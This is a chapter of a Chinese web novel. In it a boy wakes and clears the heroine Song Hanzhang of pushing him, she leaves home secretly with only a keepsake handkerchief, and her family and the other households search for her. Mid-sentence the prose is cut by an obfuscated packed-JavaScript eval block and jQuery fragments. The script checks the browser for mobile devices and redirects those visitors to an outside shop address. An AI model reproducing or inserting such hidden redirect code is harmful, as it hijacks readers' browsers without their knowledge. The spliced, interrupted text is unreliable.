因为钟荀彧还未醒来，青山书院所有的人都没有离开。
从日升到日中，从日中到日斜，大家都在青山书院的院中，或站、或立、或坐——王谦山长坐在廊下的竹椅上，双手交叠在膝头，闭目养神，面容平静，只是眉头一直没有松开；余老先生拄着拐杖坐在台阶上，那双虚脱了一日一夜的腿还在微微发颤；宋行简靠在那棵老槐树下，目光一直望着偏房的方向；洪楚离和程国恩并排坐在廊下的栏杆上，谁也没有开口说话。
院中寂静无比，没有人说一句话，只有偶尔一阵风吹过树叶的沙沙声，和远处后山传来的几声鸟鸣，衬得这沉默更加沉重。
日头西斜，将老槐树的影子拉得又长又斜，随后黑色慢慢从山脚漫上来，漫过了院墙，漫过了树梢，漫过了每一个人的头顶。书院里的灯火次第亮起，将众人的影子投在青石地面上，影影绰绰，晃动不定。
偏房里，烛火微微跳动，将床边两个人的影子投在墙上。钟夫人坐在床边，紧紧握着儿子的手，那只小手在她掌心里捂了一整天，终于从冰凉捂到微温。
她的嘴唇干裂，面容憔悴，眼窝深深地陷了下去，可那双眼睛却一刻也没有离开过儿子的脸。她在心里一遍一遍地默念着，用自己的命去换儿子的命——只要他能活，让她做什么都可以，让她折寿十年、二十年、三十年，让她把剩下的命都交出去，都行。
兴许是这世间还有牵绊，钟荀彧的手指动了一下。
钟夫人感觉到了。她猛地一震，那双悲痛得近乎麻木的眼睛里，忽然有什么东西亮了一下。
她缓缓低下头，将目光移到手心里儿子的手上，嘴角微微扬起，带着一丝欣喜。那欣喜极小极淡，像是寒冬里第一星微弱的炭火。可是儿子没有继续再动，那只手指又安静了下去，仿佛方才只是她太想他醒来而产生了错觉。那一丝欣喜转瞬即逝，她的嘴角又垂了下去，眼睛里的光芒也暗了。
可是过了一会儿，儿子的手指又动了一下。这一次比方才更有力，更清晰——不是错觉，是真的在动。她的眼睛死死地盯着儿子的手指，呼吸都停了，看着那只苍白的小手指又动了几下。她嘴角的欣喜再次浮现，这一次比方才更大、更稳，像炭火终于被吹着了，亮了起来。
她赶紧把嘴凑到儿子耳边，轻声地、一字一字地说道，声音因为激动而微微发颤，又怕太大声会惊着儿子：“荀彧，荀彧——你是不是醒了？如果你醒了，就抓抓娘的手指头，好不好？轻轻抓一下，娘就知道你回来了。”那声音轻得像怕惊碎了什么，又急切得像等了一个漫长的冬天终于听见了冰河开冻的第一声脆响。
迷迷糊糊中的钟荀彧听见了。他听见了那个熟悉的声音——那个从他牙牙学语时就一直在耳边的声音，那个他每次生病都会守在床边给他唱童谣的声音。他抓住了那个声音，用尽全身仅有的一点力气，把手指收拢，果真用了些力，虚虚地抓着母亲的手指。那力道极轻极轻，像一片羽毛，却把一个母亲从地狱里拉了回来。
一旁的林太医看见了钟荀彧那微微蜷动的手指。他立刻放下手中的药碗，快步走到床边，俯下身子，手指搭上了钟荀彧的脉搏——那脉搏比昨夜强了些，虽然还细，却已经不再若有若无。他翻开钟荀彧的眼皮，瞳孔已经回缩，不再是之前那涣散的模样。他直起身，脸上那紧绷了一天一夜的神色，终于有了一丝松动。
钟夫人喜极而泣。她张了张嘴，想说儿子醒了，想说儿子活过来了，可喉咙像是被什么东西堵住了，一个字都说不出来。
她跌跌撞撞地跑出偏房，脚步踉跄得几乎摔倒，跑到院中，也不管什么礼数什么体统，一把抓住钟廷的手臂，嘴唇哆嗦着，就是说不出话来。她只是拉着钟廷，转身就往屋里奔。钟廷被她拽得一个踉跄，看着夫人那张满脸泪痕却突然有了光的脸，拔腿就跟了进去。
院子里的灯火明亮，映在众人的脸上。这一张张或老或少的脸上，皆是忐忑——有人攥紧了拳头，有人屏住了呼吸，有人不自觉地往前挪了半步。
宋行简从槐树下站直了身子，洪楚离从栏杆上跳了下来，连余老先生都拄着拐杖颤巍巍地从台阶上站了起来。没有人说话，所有人的目光都聚集在那扇半掩的门上。
坐在床边的林太医正在认真地给钟荀彧把脉，三根手指搭在细细的手腕上，闭目凝神。
钟廷和夫人站在一旁，浑身颤抖，钟廷的手扶着夫人的肩，两个人都死死盯着林太医的脸，不敢错过任何一个细微的表情。
没一会儿，林太医睁开眼睛，将手指从钟荀彧的腕上移开，站起身来，转向钟廷。他素来寡言，此刻也只说了一句，声音里带着一种历尽千帆后波澜不惊的笃定：“令郎已安。今日遭如此大难尚能挺过来，以后必定安然无虞——这小子命硬，阎王不肯收。”
钟廷和夫人听了，愣了一瞬。然后两个人像两棵被狂风刮了太久终于落了根的树，浑身一软，喜极而泣。
钟夫人捂住嘴，眼泪无声地往下淌，肩膀一抽一抽地，终于不再是那些撕心裂肺的哭嚎，而是如释重负的、劫后余生的泪。
钟廷的眼眶也红了，这个在朝堂上从不低头的户部尚书，此刻什么话都说不出来。两人齐齐跪下，膝盖磕在砖地上，对着林太医重重地磕头致谢。钟廷的头抵在冰冷的砖地上，肩膀无声地颤抖着。
林太医赶紧弯腰将两人扶起，连声道：“医者本分，不必如此。”
床上的钟荀彧，嘴巴动了动。那张苍白的嘴唇翕动了几下，像是在说梦话，又像是在努力发出什么声音。他的呼吸还很微弱，胸口起伏的幅度极小，可那双嘴唇，确实在动。
钟廷俯下身，把耳朵凑到儿子嘴边。他的动作极轻极慢，只听见儿子那断断续续的、微弱得像蚊蚋振翅般的声音，一个字一个字从喉咙深处艰难地挤出来：“是……曾思雨……把我推下去的……不要……为难……宋含章……不是她……推的……”钟荀彧的话断断续续，说几个字就要歇一歇，可那意思，分明而清楚。话音刚落，他又沉沉地闭上了眼睛，仿佛把这几句话说出来，整个人又睡了过去——但这一次，是安稳的、有呼吸有温度的睡眠。
钟廷直起身，将儿子的话一字一句地重复给在场众人。他那沙哑的声音在安静的偏房里格外清晰，传到屋外，院子里所有的人都听见了。
屋外的众人，那悬了一天一夜的心，终于稳稳当当地落在了地上。王谦山长长长地吐出一口气，那口气里装着几十个小时的焦灼与不安；余老先生用袖子擦了擦眼角，拐杖在地上轻轻顿了顿，嘴里念叨着“活着就好，活着就好”；宋行简靠在老槐树上，仰头看着夜空，眼眶红了，嘴角却是上扬的——他的妹妹，不是凶手。那一巴掌，他不知道自己这辈子还能不能还给她。
靖王爷站在人群里，长长地舒了一口气。那口气舒得太明显，周围的几个人都听到了。他方才对钟廷说的那些话——那些“要杀要剐全凭你处置”的场面话——背后带着几分不愿示人的威胁之意。其实他说完之后，心里始终是有些后怕的。
毕竟钟廷的势力也不可小觑，户部管着天下的钱粮，自己军队的饷银还要经过钟廷的手里审批，若是得罪狠了，每一笔银子都有被卡住的可能。如今钟荀彧活下来了，钟廷方才那句“如果犬子有什么不测”的前提便不存在了，两家至少不会彻底撕破脸。
钟荀彧既然已醒，众人便都纷纷告辞，踏着夜色各回各家。马车一辆接一辆地驶离青山书院，车轮碾过青石板的声音渐渐远去，书院终于又恢复了它本来的宁静。
宋府外围，钟家的家丁已经撤走。那些举了一夜一日火把和长刀的人终于散了，巷子里又恢复了往日的安静，只剩下墙上被火把熏出的几道黑印，证明过这场风波的存在。宋含章被肖朗从祠堂里背回了自己的房间，趴在了那张熟悉的、有她体温的床上。
她趴在枕头上，听见春夏在一旁给她上药时絮絮叨叨地说钟家公子活下来了、陆鸣大人查出真相了、曾思雨她们都招了。
她的嘴角只是微微扬了一下，那笑容极淡极轻，像是听了一个与己无关的故事，旋即闭上眼睛，沉沉睡了过去。春夏跪在床边，手里拿着药膏，看着她家姑娘那满背层层叠叠的伤口，眼泪一滴一滴地落在药膏上，可她没有哭出声——她怕吵醒姑娘。
宋夫人、宋四维、宋行简站在宋含章的房门口，隔着门槛看着床上那个趴着的、呼吸均匀的女儿。
她的背上新旧伤口叠在一起，血肉模糊，可她的脸却很平静——比他们三个人都要平静。宋夫人的手攥着门框，指甲陷进了木头里。宋四维的肩膀微微塌着。
宋行简站在那里，目光落在那张侧脸上，想起自己扬起的那一巴掌。他们心里都装着同样的东西——自责、懊悔和心疼，像三块石头压在胸口，沉甸甸的，让人喘不过气。
他们不知道明早醒来，该如何面对宋含章。他们更不知道，宋含章其实根本不需要他们面对——她从来不怨任何人，这些对她都已无所谓了，她只是睡着了。
宋玉章、程国恩、肖朗站在院中，透过窗户看着屋里那个睡着的身影，既心疼又佩服。竹鞭落在她身上，她一声不吭，眼泪都没有掉一颗。伤口那么严重——新旧叠加，皮开肉绽，血把衣裳都粘在了身上——她竟然还吃得下，睡得着。
肖朗想起自己在习武时见过的那些骨头硬的人——只有真正硬过骨头的人，才能在遍体鳞伤之后还睡得这么安稳。他抱着胳膊，没有说话，眼底的敬佩却藏也藏不住。
这一夜的京城，异常安静。茶楼没有再说书，巷口没有人再议论，整座城像是经历了一场暴风雨后终于喘了口气，沉沉地睡了过去。
第二日的晨光慢慢升起，阳光透过窗棂洒进宋含章的房间，照在那一床叠得整整齐齐的被褥上。
霍凌霜、顾子佩、曾思雨、沈十安都被施了家法。霍擎苍的鞭子比上次更重，抽得霍凌霜后背皮开肉绽，她却咬着牙一声不吭，罚完之后自己扶着墙站起来，一瘸一拐地去祠堂罚跪。
曾思雨在靖王府的祠堂里跪了一天一夜，膝盖跪肿了，脸被靖王爷打肿的那一侧还留着青紫色的指印。
顾子佩被顾老夫人亲自用戒尺打了手心二十下，每一戒尺都打得结结实实，然后被罚去佛堂抄写《女诫》十遍。
沈十安被沈老夫人罚跪在祖宗牌位前整夜，膝盖磨破了皮，又被罚禁足三个月不得出门。四个孩子，各自在挨打受罚，可他们挨的罚，和宋含章背上那些层层叠叠的伤口比起来，差得太远太远。
宋府里，宋夫人亲自下厨。她天不亮就起来，挽起袖子，亲手做了宋含章最喜欢吃的饭菜——红烧肉是挑的五花三层，肥瘦相间，炖了整整一个时辰，筷子一夹就能化开；糖醋排骨裹着亮晶晶的糖色，摆在盘子里还冒着热气；还有一大碗鸡腿面，汤汁浓郁，上面卧着两个金黄的荷包蛋。
她把饭菜装进食盒里，心里反复盘算着怎么开口——怎么跟女儿说对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618716|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不起，怎么告诉女儿自己有多后悔，怎么让女儿知道她不是不相信她，她只是太害怕了。
当她准备把饭菜端进宋含章房间时，春夏拿着一张纸，跌跌撞撞地从院子里跑出来，哭哭啼啼地跑到前厅，眼泪糊了满脸，声音因为跑得太急而断断续续，嘶哑而尖锐地大声喊道：“大人，夫人——姑娘走了，姑娘走了！姑娘不见了——！”
此话一出，前厅里所有人都腾地站了起来。宋四维手中的茶盏啪地掉在地上摔得粉碎；宋夫人手中的食盒晃了晃，里面的汤洒了出来，烫红了她的手背，她却浑然不觉。
宋行简、程国恩、宋玉章、抱着宋清扬和宋引章的肖朗，全都震惊不已。宋清扬和宋引章虽然还不太明白“走了”是什么意思，可看到大人们脸上的表情，也哇地一声哭了出来。
宋夫人赶紧从春夏手里一把接过那张纸条，手指颤抖着展开。宋四维、宋行简等人也围了过来，脑袋挤在一起，目光同时落在那些字上。
只见纸条上写着——
“父亲、母亲，这个世间容不下女儿，京城容不下女儿。女儿走了，去寻找一个能容得下女儿的地方。不要来寻女儿了，请原谅，是女儿辜负了你们的养育之恩。”
众人看了，心都在震颤。宋夫人的手一松，纸条从她指尖滑落，飘到了地上。她一手撑着饭桌，手指死死地扣着桌沿，深深吸了一口气，然后转身，朝宋含章的房间走去。其他人也紧跟其后，脚步声杂乱而急促。
房间里整整齐齐。被子叠得方方正正，枕头摆在正中央，桌子上的笔墨纸砚排列得一丝不苟，地上连一片纸屑都没有。
宋玉章赶紧打开衣柜——衣柜里所有衣衫，一件不少。她又去墙角看那些木匠的工具——锯子、刨子、凿子、墨斗，全都安安静静地躺在那儿。
宋含章走了，什么都没带：衣衫未带，春夏给她做的新鞋未带，那些她视若珍宝的木匠工具也未带。她只带走了她自己。
可是，没有人知道——在她那件红色交领襦裙的袖袋里，悄悄揣走了一样东西。那是一方素白的手帕，边角只绣了一个歪歪扭扭的“宇”字。
那是顾承宇在沈府假山后面递给她的那一块。那日在假山后，她用它擦过嘴上的点心碎屑，随手塞进了袖子里，后来竟忘了还——也许是忘了，也许是那个从来只知道拳头和倔强的胖姑娘，在京城这个容不下她的地方，偷偷带走了唯一一个少年郎给予她的、不带任何嘲弄和怜悯的善意。
她没有带衣衫，没有带木鸢，没有带春夏给她烙的大饼，却带走了那块帕子。
宋夫人看了一圈，终于再也撑不住了。她瘫坐在地上，双手抱着自己的肩膀，仰起头，嘴一张，嚎啕大哭起来。
那哭声从胸腔最深处被硬生生撕出来，穿透了房间，穿透了庭院，在整座宋府上空回荡。她嘴里嘶声力竭地喊着：“团团——我的团团——娘错了，娘不该打你，娘不该不信你，你回来，你回来啊——”那声音已经不再是一个当家主母的声音，而是一个丢了孩子的母亲最原始、最撕心裂肺的哀嚎。
宋四维站在房门口，背对着所有人，用手捂住了眼睛。他的肩膀轻轻颤抖着，泪水从指缝里渗出来，顺着手指的纹路往下淌。如今女儿走了，什么都不要了，连木鸢都没带，连春夏都没带，一个人踏进了那个容不下她的天地。
宋玉章抱着宋引章，姐妹俩哭成了一团，宋引章死死拽着姐姐的衣襟，嘴里反复喊着“二姐姐呢？我要二姐姐”。
宋清扬在肖朗怀里放声大哭，哭得撕心裂肺，嘴里还喊着“二姐姐不要走”。肖朗红着眼眶，把宋清扬抱得紧紧的，什么话都说不出来。
春夏蹲在宋夫人身边，把那张纸条从地上捡起来，攥在手里贴在胸口，哭得浑身发抖——她家姑娘，走了。什么都没有带，连她都没有带上。
宋行简、程国恩、肖朗来不及伤心哭泣。三个少年冲出宋府，分头去召集所有的家丁，把人撒出去，沿着京城每一条街道、每一个城门、每一片林子和每一座桥头去寻找。
宋行简跑到城门口问守城的卫兵，卫兵说天色太早，换班才换了一轮，谁也不曾注意过有没有一个胖姑娘出城。他又去茶馆门口，去那个说书人平日里说书的地方，去书院的马场，去后山的悬崖边——他跑遍了所有她能去的地方，可每一条巷子都是空的，每一扇门后面都没有她。
中午时分，顾老夫人、顾二夫人、顾承宇、沈老夫人、靖王妃、霍擎苍带着厚礼，亲自来到宋府登门致歉。
他们这次来，是真心实意来赔罪的——孩子们犯下的错，做长辈的不能不担。
然而当他们跨进宋府大门，看到的是一片哀戚之色，知晓宋含章不见了的消息时，这些在朝堂上和深宅里见惯了风浪的人，也忍不住心疼起来。
宋夫人已经哭哑了嗓子，坐在前厅的椅子上，目光呆滞，连来客都没有力气招呼。
沈老夫人拄着拐杖站在宋含章的房间里，看着那叠得整整齐齐的被褥和那些安安静静躺着的木工工具，眼眶也红了，喃喃地说了一句：“这么好的孩子，被我们这些大人逼走了。”
顾老夫人没有说话，只是转过身，吩咐顾承宇立刻派出宁安侯府所有的亲兵，沿着京城通往外界的每一条官道去寻找。
霍擎苍也铁青着脸，让副将带着一队轻骑出城去搜寻。
可是宋含章，已经不见了。没有人知道她去了哪里，也没有人知道她还会不会回来。